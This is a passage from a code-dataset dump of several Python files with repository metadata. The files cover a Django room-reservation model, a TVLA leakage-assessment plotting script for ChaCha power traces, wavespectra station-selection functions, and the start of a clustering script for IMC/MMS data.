"django.views.decorators.csrf.csrf_exempt", "line_number": 71, "usage_type": "argument"}, {"api_name": "django.views.generic.DeleteView", "line_number": 91, "usage_type": "name"}, {"api_name": "ads.models.Category", "line_number": 92, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 98, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 90, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 90, "usage_type": "argument"}]} {"seq_id": "1967341491", "text": "from django.db import models\nfrom django.contrib.auth.models import User\nfrom datetime import date as dt_date, timedelta as dt_timedelta\nfrom django.core.exceptions import ValidationError\nfrom django.core.validators import MinValueValidator\nfrom django.utils.translation import gettext_lazy as _\nfrom typing import Optional\nfrom django.conf import settings\n\n\nclass Room(models.Model):\n number: int = models.PositiveIntegerField(\n primary_key=True,\n verbose_name=\"Room number\",\n )\n price: float = models.FloatField(verbose_name=\"Cost per day\")\n capacity: int = models.PositiveIntegerField(verbose_name=\"Room capacity\")\n\n class Meta:\n verbose_name: str = \"Room\"\n verbose_name_plural: str = \"Rooms\"\n\n def clean(self) -> None:\n if self.price < 0.0:\n raise ValidationError(\"Price cannot be negative\")\n\n def __str__(self) -> str:\n return f\"Room #{self.number}, Price: {self.price}, Capacity: {self.capacity}\"\n\n\nclass RoomReservation(models.Model):\n class Status(models.TextChoices):\n ORDERED = \"ORDERED\", \"Ordered\"\n COMPLETED = \"COMPLETED\", \"Completed\"\n CANCELLED = \"CANCELLED\", \"Cancelled\"\n\n id: int = models.BigAutoField(primary_key=True, verbose_name=\"Id\")\n room: Room = models.ForeignKey(\n to=Room, on_delete=models.RESTRICT, verbose_name=\"Room\"\n )\n user: User = models.ForeignKey(to=User, on_delete=models.RESTRICT)\n date_begin: dt_date = models.DateField(verbose_name=\"From Date\", db_index=True)\n date_end: dt_date = models.DateField(verbose_name=\"Until Date\", db_index=True)\n full_price: float = models.FloatField(\n verbose_name=\"Price\", validators=(MinValueValidator(0.0),)\n )\n status: str = models.CharField(\n verbose_name=\"Status\",\n max_length=32,\n choices=Status.choices,\n default=Status.ORDERED,\n )\n\n class Meta:\n verbose_name: str = \"Room Reservation\"\n verbose_name_plural: str = \"Room Reservations\"\n\n @classmethod\n def create(cls, **kwargs):\n room_reservation = cls(**kwargs)\n room_reservation.full_price = room_reservation.calculate_full_price()\n room_reservation.save()\n return room_reservation\n\n @classmethod\n def get_reservations_in_range(\n cls, date_begin: Optional[dt_date], date_end: Optional[dt_date], status: str\n ) -> models.QuerySet:\n \"\"\"\n Returns `QuerySet` with all `RoomReservation`'s with provided `status`.\n At least one from `date_begin` or `date_end` must be specified.\n `status` must be\n \"\"\"\n assert date_begin or date_end, \"At least one argument must be specified\"\n\n # Because Q __range is inclusive, we should make delta by one day\n day_delta = dt_timedelta(days=1)\n\n if date_begin and date_end:\n q = (\n models.Q(date_begin__range=(date_begin, date_end - day_delta))\n | models.Q(date_end__range=(date_begin + day_delta, date_end))\n | models.Q(date_begin__lt=date_begin, date_end__gt=date_end)\n )\n\n elif date_begin:\n q = models.Q(date_begin__gte=date_begin) | models.Q(date_end__gt=date_begin)\n\n elif date_end:\n q = models.Q(date_begin__lt=date_end) | models.Q(date_end__lte=date_end)\n\n q.add(models.Q(status=status), models.Q.AND)\n\n return cls.objects.filter(q)\n\n def calculate_full_price(self) -> float:\n \"\"\"\n Calculates `full_price` of reservation, based on `room.price`, `date_begin` and `date_end`\n \"\"\"\n return self.room.price * (self.date_end - self.date_begin).days\n\n def check_overlaps(self) -> None:\n \"\"\"\n Checks if `room` with the same `number` is reserved on provided days\n \"\"\"\n overlapped_reservations = RoomReservation.get_reservations_in_range(\n self.date_begin, self.date_end, status=self.Status.ORDERED\n )\n\n # Checking room reservations only with the same room number\n overlapped_reservations = overlapped_reservations.filter(\n room__number=self.room.number\n )\n\n # When updating existing room reservations, we should exclude it\n if self.id:\n overlapped_reservations = overlapped_reservations.exclude(id=self.id)\n\n if overlapped_reservations:\n msg = \"Room Reservation with the same Room number already exists in date range\"\n raise ValidationError(\n {\n \"date_begin\": _(msg),\n \"date_end\": _(msg),\n }\n )\n\n def check_dates(self) -> None:\n \"\"\"\n Checks if `date_end` is later, than `date_begin`\n \"\"\"\n if self.date_begin >= self.date_end:\n msg = \"End date must be later, than begin date\"\n raise ValidationError(\n {\n \"date_begin\": _(msg),\n \"date_end\": _(msg),\n }\n )\n\n def clean(self) -> None:\n self.check_dates()\n self.check_overlaps()\n\n def __str__(self) -> str:\n return f\"Room Reservation of Room #{self.room.number} from {self.date_begin.strftime(settings.DATE_FORMAT)} until {self.date_end.strftime(settings.DATE_FORMAT)}\"\n", "repo_name": "twergi/room-reservation-api", "sub_path": "backend/base/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 5283, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.db.models.Model", "line_number": 11, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.models.PositiveIntegerField", "line_number": 12, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 12, "usage_type": "name"}, {"api_name": "django.db.models.FloatField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.PositiveIntegerField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 31, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 31, "usage_type": "name"}, {"api_name": "django.db.models.TextChoices", "line_number": 32, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 32, "usage_type": "name"}, {"api_name": "django.db.models.BigAutoField", "line_number": 37, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 37, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 38, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 38, "usage_type": "name"}, {"api_name": "django.db.models.RESTRICT", "line_number": 39, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 39, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User", "line_number": 41, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 41, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 41, "usage_type": "name"}, {"api_name": "django.db.models.RESTRICT", "line_number": 41, "usage_type": "attribute"}, {"api_name": "datetime.date", "line_number": 42, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 42, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 42, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 43, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 43, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 43, "usage_type": "name"}, {"api_name": "django.db.models.FloatField", "line_number": 44, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 44, "usage_type": "name"}, {"api_name": "django.core.validators.MinValueValidator", "line_number": 45, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 47, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 47, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 67, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 67, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 77, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 81, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 81, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 82, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 82, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 83, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 83, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 87, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 87, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 90, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 90, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 92, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 92, "usage_type": "name"}, {"api_name": "django.db.models.QuerySet", "line_number": 68, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 68, "usage_type": "name"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 121, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 123, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 124, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 134, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 136, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 137, "usage_type": "call"}, {"api_name": "django.conf.settings.DATE_FORMAT", "line_number": 146, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 146, "usage_type": "name"}]} {"seq_id": "39455937224", "text": "#!/usr/bin/env python3\n\n\n# Calculates TVLA for a given set of traces and plot the output. By default the\n# TVLA is calculated for each step. It's possible to calculate the TVLA for each\n# byte within each step and select the step/byte.\n\n\nfrom common import *\nfrom chacha import *\n\nimport numpy as np\nimport scipy as sp\nimport matplotlib.pyplot as plt\nimport sys\nimport argparse\n\n\n\ndef main():\n # parse agrs\n\n parser = argparse.ArgumentParser(description=\"Calculate and plot TVLA\", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument(\"TRACES_NPZ\", help=\"set of traces\")\n parser.add_argument(\"-b\", \"--subkey-bytes\", action=\"store_true\", help=\"calculate TVLA for every byte (instead of 32-bit word)\")\n parser.add_argument(\"-s\", \"--step\", type=int, help=\"number of step\")\n parser.add_argument(\"-i\", \"--int-subkey\", type=int, help=\"number of internal subkey\")\n\n args = parser.parse_args()\n\n\n # load traces and associated input data\n\n trace_array, counter_array, nonce_array, correct_key = load_traces(args.TRACES_NPZ)\n\n\n # calculate TVLA and plot the output\n\n plt.title(\"TVLA\")\n\n if not args.subkey_bytes:\n for step in range(16):\n if args.step is not None and step != args.step:\n continue\n\n testout = calc_tvla32(step, trace_array, counter_array, nonce_array, correct_key)\n plt.plot(testout, label=(\"%d\" % step))\n else:\n for step in range(16):\n if args.step is not None and step != args.step:\n continue\n\n for int_subkey in range(4):\n if args.int_subkey is not None and int_subkey != args.int_subkey:\n continue\n\n testout = calc_tvla8(step, int_subkey, trace_array, counter_array, nonce_array, correct_key)\n plt.plot(testout, label=(\"%d/%d\" % (step, int_subkey)))\n\n num_points = trace_array.shape[1]\n plt.plot([-4.5]*num_points, color=\"black\")\n plt.plot([4.5]*num_points, color=\"black\")\n\n plt.legend()\n plt.show()\n\n\ndef calc_tvla32(step, trace_array, counter_array, nonce_array, correct_key):\n # group the traces\n groups = np.array([group32(step, counter_array[i], nonce_array[i], correct_key) for i in range(len(trace_array))])\n\n # calculate the TVLA using the welch's t-test\n return welch_ttest(trace_array, groups)\n\n\ndef calc_tvla8(step, int_subkey, trace_array, counter_array, nonce_array, correct_key):\n # group the traces\n groups = np.array([group8(step, int_subkey, counter_array[i], nonce_array[i], correct_key) for i in range(len(trace_array))])\n\n # calculate the TVLA using the welch's t-test\n return welch_ttest(trace_array, groups)\n\n\n\n\n# perform the welch's t-test\n# returns zeros if all traces are in the same group\ndef welch_ttest(traces, group):\n traces_true = traces[group]\n traces_false = traces[~group]\n\n if len(traces_true) == 0 or len(traces_false) == 0:\n return [0]*traces.shape[1]\n\n ttrace = sp.stats.ttest_ind(traces_true, traces_false, axis=0, equal_var=False)[0]\n return np.nan_to_num(ttrace)\n\n\n\n\nif __name__ == \"__main__\":\n main()\n\n", "repo_name": "jonnykl/cpa-chacha", "sub_path": "attack/tvla_specific.py", "file_name": "tvla_specific.py", "file_ext": "py", "file_size_in_byte": 3143, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 23, "usage_type": "call"}, {"api_name": "argparse.ArgumentDefaultsHelpFormatter", "line_number": 23, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.title", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 79, "usage_type": "call"}, {"api_name": "scipy.stats.ttest_ind", "line_number": 96, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 96, "usage_type": "attribute"}, {"api_name": "numpy.nan_to_num", "line_number": 97, "usage_type": "call"}]} {"seq_id": "9878895013", "text": "\"\"\"Interpolate stations.\"\"\"\nimport logging\n\nimport numpy as np\nimport xarray as xr\n\nfrom wavespectra.core.attributes import attrs, set_spec_attributes\n\nlogger = logging.getLogger(__name__)\n\n\nclass Coordinates:\n \"\"\"Slicing of circular coordinates.\n\n Args:\n dset (xr.Dataset): Dataset object to slice from.\n lons (array): Longitudes to slice.\n lats (array): Latitudes to slice.\n dset_lons (array): Dataset longitudes for optimising.\n dset_lats (array): Dataset latitudes for optimising.\n\n \"\"\"\n\n def __init__(self, dset, lons, lats, dset_lons=None, dset_lats=None):\n self.dset = dset\n self._lons = np.array(lons)\n self.lats = np.array(lats)\n\n if dset_lons is None:\n self.dset_lons = dset[attrs.LONNAME].values\n else:\n self.dset_lons = dset_lons\n if dset_lats is None:\n self.dset_lats = dset[attrs.LATNAME].values\n else:\n self.dset_lats = dset_lats\n\n self._validate()\n\n if self._is_360(self._lons) == self._is_360(self.dset_lons):\n self.consistent = True\n else:\n self.consistent = False\n\n def _validate(self):\n \"\"\"Few input checks.\"\"\"\n assert len(self._lons) == len(self.lats), \"lons and lats must have same size.\"\n if (\n attrs.LONNAME in self.dset.dims\n or attrs.LATNAME in self.dset.dims\n or attrs.SITENAME not in self.dset.dims\n ):\n raise NotImplementedError(\"sel only supports stations not gridded data.\")\n\n def _is_180(self, array):\n \"\"\"True if longitudes are in -180 -- 180 convention.\"\"\"\n if array.min() < 0 and array.max() <= 180:\n return True\n return False\n\n def _is_360(self, array):\n \"\"\"True if longitudes are in 0 -- 360 convention.\"\"\"\n if array.min() >= 0 and array.max() <= 360:\n return True\n return False\n\n def _swap_longitude_convention(self, longitudes):\n \"\"\"Swap longitudes between [0 <--> 360] and [-180 <--> 180] conventions.\"\"\"\n if self._is_180(longitudes):\n return longitudes % 360\n elif self._is_360(longitudes):\n longitudes[longitudes > 180] = longitudes[longitudes > 180] - 360\n return longitudes\n\n @property\n def lons(self):\n \"\"\"Longitudes to query, always in same convention as dataset.\"\"\"\n if self._is_360(self._lons) == self._is_360(self.dset_lons):\n return self._lons\n else:\n return self._swap_longitude_convention(self._lons)\n\n def distance(self, lon, lat):\n \"\"\"Distance between each station in (dset_lons, dset_lats) and site (lon, lat).\n\n Args:\n lon (float): Longitude to locate from lons.\n lat (float): Latitude to locate from lats.\n\n Returns:\n List of distances between each station and site.\n\n \"\"\"\n dist = np.sqrt((self.dset_lons % 360 - np.array(lon) % 360) ** 2 + (self.dset_lats - np.array(lat)) ** 2)\n dist = np.minimum(dist, 360 - dist)\n if isinstance(dist, xr.DataArray):\n dist = dist.values\n return dist\n\n def nearer(self, lon, lat, tolerance=np.inf, max_sites=None):\n \"\"\"Nearer stations in (dset_lons, dset_lats) to site (lon, lat).\n\n Args:\n lon (float): Longitude of of station to locate from lons.\n lat (float): Latitude of of station to locate from lats.\n tolerance (float): Maximum distance for scanning neighbours.\n max_sites (int): Maximum number of neighbours.\n\n Returns:\n Indices and distances of up to `max_sites` neighbour stations not farther from\n `tolerance`, ordered from closer to farthest station.\n\n \"\"\"\n dist = self.distance(lon, lat)\n closest_ids = np.argsort(dist)\n closest_dist = dist[closest_ids]\n keep_ids = closest_ids[closest_dist <= tolerance][:max_sites]\n return keep_ids, dist[keep_ids]\n\n def nearest(self, lon, lat):\n \"\"\"Nearest station in (dset_lons, dset_lats) to site (lon, lat).\n\n Args:\n lon (float): Longitude to locate from lons.\n lat (float): Latitude to locate from lats.\n\n Returns:\n Index and distance of closest station.\n\n \"\"\"\n dist = self.distance(lon, lat)\n closest_id = dist.argmin()\n closest_dist = dist[closest_id]\n return closest_id, closest_dist\n\n\ndef sel_nearest(\n dset,\n lons,\n lats,\n tolerance=2.0,\n unique=False,\n exact=False,\n dset_lons=None,\n dset_lats=None):\n \"\"\"\n Select sites from nearest distance.\n\n Args:\n dset (Dataset): Stations SpecDataset to select from.\n lons (array): Longitude of sites to interpolate spectra at.\n lats (array): Latitude of sites to interpolate spectra at.\n tolerance (float): Maximum distance to use site for interpolation.\n unique (bool): Only returns unique sites in case of repeated inexact matches.\n exact (bool): Require exact matches.\n dset_lons (array): Longitude of stations in dset.\n dset_lats (array): Latitude of stations in dset.\n\n Returns:\n Selected SpecDataset at locations defined by (lons, lats).\n\n Note:\n Args `dset_lons`, `dset_lats` are not required but can improve performance when\n `dset` is chunked with site=1 (expensive to access station coordinates) and\n improve precision if projected coordinates are provided at high latitudes.\n\n \"\"\"\n coords = Coordinates(dset, lons=lons, lats=lats, dset_lons=dset_lons, dset_lats=dset_lats)\n\n station_ids = []\n for lon, lat in zip(coords.lons, coords.lats):\n closest_id, closest_dist = coords.nearest(lon, lat)\n if closest_dist > tolerance:\n raise AssertionError(\n \"Nearest site from (lat={}, lon={}) is {:g} deg away but tolerance is {:g} deg.\".format(lat, lon, closest_dist, tolerance)\n )\n if exact and closest_dist > 0:\n raise AssertionError(\n \"Exact match required but no site at (lat={}, lon={}), nearest site is {} deg away.\".format(lat, lon, closest_dist)\n )\n station_ids.append(closest_id)\n if unique:\n station_ids = list(set(station_ids))\n\n dsout = dset.isel(**{attrs.SITENAME: station_ids})\n\n # Return longitudes in the convention provided\n if coords.consistent is False:\n dsout.assign({\"lon\": coords._swap_longitude_convention(dsout.lon)})\n\n dsout = dsout.assign_coords({attrs.SITENAME: np.arange(len(station_ids))})\n\n return dsout\n\n\ndef sel_idw(\n dset, lons, lats, tolerance=2.0, max_sites=4, dset_lons=None, dset_lats=None):\n \"\"\"Select sites from inverse distance weighting.\n\n Args:\n dset (Dataset): Stations SpecDataset to interpolate from.\n lons (array): Longitude of sites to interpolate spectra at.\n lats (array): Latitude of sites to interpolate spectra at.\n tolerance (float): Maximum distance to use site for interpolation.\n max_sites (int): Maximum number of neighbour sites to use for interpolation.\n dset_lons (array): Longitude of stations in dset.\n dset_lats (array): Latitude of stations in dset.\n\n Returns:\n Selected SpecDataset at locations defined by (lons, lats).\n\n Note:\n Args `dset_lons`, `dset_lats` are not required but can improve performance when\n `dset` is chunked with site=1 (expensive to access station coordinates) and\n improve precision if projected coordinates are provided at high latitudes.\n\n \"\"\"\n coords = Coordinates(dset, lons=lons, lats=lats, dset_lons=dset_lons, dset_lats=dset_lats)\n\n mask = dset.isel(site=0, drop=True).where(False)\n dsout = []\n for lon, lat in zip(coords.lons, coords.lats):\n closest_ids, closest_dist = coords.nearer(lon, lat, tolerance, max_sites)\n if len(closest_ids) == 0:\n logger.debug(\n \"No stations within {} deg of site (lat={}, lon={}), this site will be masked.\".format(tolerance, lat, lon)\n )\n # Collect ids and factors of neighbours\n indices = []\n factors = []\n for ind, dist in zip(closest_ids, closest_dist):\n indices.append(ind)\n if dist == 0:\n factors.append(1.0)\n break\n factors.append(1.0 / dist)\n # Mask it if no neighbour is found\n if len(indices) == 0:\n dsout.append(mask)\n else:\n # Inverse distance weighting\n # TODO: this is likely to create issues both with directions and partitions\n sumfac = float(sum(factors))\n ind = indices.pop(0)\n fac = factors.pop(0)\n weighted = float(fac) * dset.isel(site=ind, drop=True)\n for ind, fac in zip(indices, factors):\n weighted += float(fac) * dset.isel(site=ind, drop=True)\n if len(indices) > 0:\n weighted /= sumfac\n dsout.append(weighted)\n\n # Concat sites into dataset\n dsout = xr.concat(dsout, dim=attrs.SITENAME).transpose(*dset[attrs.SPECNAME].dims)\n\n # Redefining coordinates and variables\n dsout[attrs.SITENAME] = np.arange(len(coords.lons))\n dsout[attrs.LONNAME] = ((attrs.SITENAME), coords.lons)\n dsout[attrs.LATNAME] = ((attrs.SITENAME), coords.lats)\n\n # Return longitudes in the convention provided\n if coords.consistent is False:\n dsout = dsout.assign({\"lon\": coords._swap_longitude_convention(dsout.lon)})\n\n dsout.attrs = dset.attrs\n set_spec_attributes(dsout)\n\n return dsout\n\n\ndef sel_bbox(dset, lons, lats, tolerance=0.0, dset_lons=None, dset_lats=None):\n \"\"\"Select sites within bbox.\n\n Args:\n dset (Dataset): Stations SpecDataset to select from.\n lons (array): Longitude of sites to interpolate spectra at.\n lats (array): Latitude of sites to interpolate spectra at.\n tolerance (float): Extend bbox extents by.\n dset_lons (array): Longitude of stations in dset.\n dset_lats (array): Latitude of stations in dset.\n\n Returns:\n Selected SpecDataset within bbox defined by:\n lower-left=[min(lons), min(lats)], upper-right=[max(lons), max(lats)].\n\n Note:\n Args `dset_lons`, `dset_lats` are not required but can improve performance when\n `dset` is chunked with site=1 (expensive to access station coordinates) and\n improve precision if projected coordinates are provided at high latitudes.\n\n \"\"\"\n coords = Coordinates(dset, lons=lons, lats=lats, dset_lons=dset_lons, dset_lats=dset_lats)\n\n minlon = min(coords.lons) - tolerance\n minlat = min(coords.lats) - tolerance\n maxlon = max(coords.lons) + tolerance\n maxlat = max(coords.lats) + tolerance\n if not (coords._is_360(coords.dset_lons) and not coords.consistent):\n station_ids = np.where(\n (coords.dset_lons >= minlon)\n & (coords.dset_lats >= minlat)\n & (coords.dset_lons <= maxlon)\n & (coords.dset_lats <= maxlat)\n )[0]\n else:\n station_ids = np.where(\n (coords.dset_lons >= maxlon)\n & (coords.dset_lats >= minlat)\n & (coords.dset_lons <= 360)\n & (coords.dset_lats <= maxlat)\n )[0]\n station_ids = np.append(\n station_ids,\n np.where(\n (coords.dset_lons >= 0)\n & (coords.dset_lats >= minlat)\n & (coords.dset_lons <= minlon)\n & (coords.dset_lats <= maxlat)\n )[0]\n )\n\n if station_ids.size == 0:\n raise ValueError(\n \"No site found within bbox defined by \"\n \"([{},{}], [{},{}])\".format(min(coords._lons) - tolerance,\n minlat,\n max(coords._lons) + tolerance,\n maxlat)\n )\n\n dsout = dset.isel(**{attrs.SITENAME: station_ids})\n\n # Return longitudes in the convention provided\n if coords.consistent is False:\n dsout = dsout.assign({\"lon\": coords._swap_longitude_convention(dsout.lon)})\n\n dsout = dsout.assign_coords(**{attrs.SITENAME: np.arange(len(station_ids))})\n\n return dsout\n", "repo_name": "metocean/wavespectra", "sub_path": "wavespectra/core/select.py", "file_name": "select.py", "file_ext": "py", "file_size_in_byte": 12383, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 58, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 27, "usage_type": "call"}, {"api_name": "wavespectra.core.attributes.attrs.LONNAME", "line_number": 30, "usage_type": "attribute"}, {"api_name": "wavespectra.core.attributes.attrs", "line_number": 30, "usage_type": "name"}, {"api_name": "wavespectra.core.attributes.attrs.LATNAME", "line_number": 34, "usage_type": "attribute"}, {"api_name": "wavespectra.core.attributes.attrs", "line_number": 34, "usage_type": "name"}, {"api_name": "wavespectra.core.attributes.attrs.LONNAME", "line_number": 49, "usage_type": "attribute"}, {"api_name": "wavespectra.core.attributes.attrs", "line_number": 49, "usage_type": "name"}, {"api_name": "wavespectra.core.attributes.attrs.LATNAME", "line_number": 50, "usage_type": "attribute"}, {"api_name": "wavespectra.core.attributes.attrs", "line_number": 50, "usage_type": "name"}, {"api_name": "wavespectra.core.attributes.attrs.SITENAME", "line_number": 51, "usage_type": "attribute"}, {"api_name": "wavespectra.core.attributes.attrs", "line_number": 51, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.minimum", "line_number": 95, "usage_type": "call"}, {"api_name": "xarray.DataArray", "line_number": 96, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 100, "usage_type": "attribute"}, {"api_name": "numpy.argsort", "line_number": 115, "usage_type": "call"}, {"api_name": "wavespectra.core.attributes.attrs.SITENAME", "line_number": 185, "usage_type": "attribute"}, {"api_name": "wavespectra.core.attributes.attrs", "line_number": 185, "usage_type": "name"}, {"api_name": "wavespectra.core.attributes.attrs.SITENAME", "line_number": 191, "usage_type": "attribute"}, {"api_name": "wavespectra.core.attributes.attrs", "line_number": 191, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 191, "usage_type": "call"}, {"api_name": "xarray.concat", "line_number": 254, "usage_type": "call"}, {"api_name": "wavespectra.core.attributes.attrs.SITENAME", "line_number": 254, "usage_type": "attribute"}, {"api_name": "wavespectra.core.attributes.attrs", "line_number": 254, "usage_type": "name"}, {"api_name": "wavespectra.core.attributes.attrs.SPECNAME", "line_number": 254, "usage_type": "attribute"}, {"api_name": "wavespectra.core.attributes.attrs.SITENAME", "line_number": 257, "usage_type": "attribute"}, {"api_name": "wavespectra.core.attributes.attrs", "line_number": 257, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 257, "usage_type": "call"}, {"api_name": "wavespectra.core.attributes.attrs.LONNAME", "line_number": 258, "usage_type": "attribute"}, {"api_name": "wavespectra.core.attributes.attrs", "line_number": 258, "usage_type": "name"}, {"api_name": "wavespectra.core.attributes.attrs.SITENAME", "line_number": 258, "usage_type": "attribute"}, {"api_name": "wavespectra.core.attributes.attrs.LATNAME", "line_number": 259, "usage_type": "attribute"}, {"api_name": "wavespectra.core.attributes.attrs", "line_number": 259, "usage_type": "name"}, {"api_name": "wavespectra.core.attributes.attrs.SITENAME", "line_number": 259, "usage_type": "attribute"}, {"api_name": "wavespectra.core.attributes.set_spec_attributes", "line_number": 266, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 299, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 306, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 312, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 314, "usage_type": "call"}, {"api_name": "wavespectra.core.attributes.attrs.SITENAME", "line_number": 331, "usage_type": "attribute"}, {"api_name": "wavespectra.core.attributes.attrs", "line_number": 331, "usage_type": "name"}, {"api_name": "wavespectra.core.attributes.attrs.SITENAME", "line_number": 337, "usage_type": "attribute"}, {"api_name": "wavespectra.core.attributes.attrs", "line_number": 337, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 337, "usage_type": "call"}]} {"seq_id": "31095479247", "text": "import numpy as np\nimport sklearn\nimport math\nimport itertools\nimport pandas as pd\nimport os\nimport sys\nfrom scipy.cluster.hierarchy import dendrogram, linkage, to_tree\nfrom munkres import Munkres\nfrom scipy.spatial import distance\nfrom scipy.spatial import distance_matrix\n\nimport matplotlib.pyplot as plt\nplt.style.use('seaborn-whitegrid')\n\n\nimport matplotlib.pyplot as plt\nfrom scipy.interpolate import griddata\nimport seaborn as sns\n\nfrom itertools import cycle\n\npalette = cycle(sns.color_palette().as_hex())\n\n\n\ndef getRawDataAslist(filename):\n#Input: IMC/MMS raw file (has to be a .csv file with \",\" as separator)\n#Read the matrix contain in the file and concatenate rows in a single list\n#Output: List\n print(\"Reading: \" + filename )\n rawMat = pd.read_csv(filename,low_memory=False, sep=\",\", comment='#')\n rawMat = rawMat.drop(rawMat.index[[0]])\n rawMat = rawMat.drop(rawMat.columns[[0,1,2]], axis=1)\n rawMat = rawMat.to_numpy()\n rawList = rawMat.flatten()\n return rawList.tolist()\n\n\ndef getRawDataMatrix(basepath):\n#Input: The path to a folder containing IMC/MMS raw file\n#Use \"getRawDataAslist\" to generate a matrix with the datalist from one file as a row and one row for each files\n#Output: list of lists, and name of the files\n mat = []\n fileNames = []\n for entry in sorted(os.listdir(basepath)): #for every object in the directory\n if os.path.isfile(os.path.join(basepath, entry)): #is it is a file\n if \"lock\" not in entry: #filter out locked files\n mat.append(getRawDataAslist(basepath+entry))\n fileNames.append(entry)\n return mat,fileNames\n\n\ndef midpoint(p1, p2):\n#Input: two set of coordinates in a bi-dimentional space (can be list or tuples)\n#Return: coordinates of the midpoint\n return [(p1[0]+p2[0])/2, (p1[1]+p2[1])/2]\n\n\n\ndef main(rawDir, peaksDir, distanceThreshold):\n ###### Perform Hierachical clustering on raw data ##########\n distanceThreshold = int(distanceThreshold)#minimal distance for pairing 2 points\n print(\"---==Perfoming hierchical clustering==--- \\n\")\n M,fileNames = 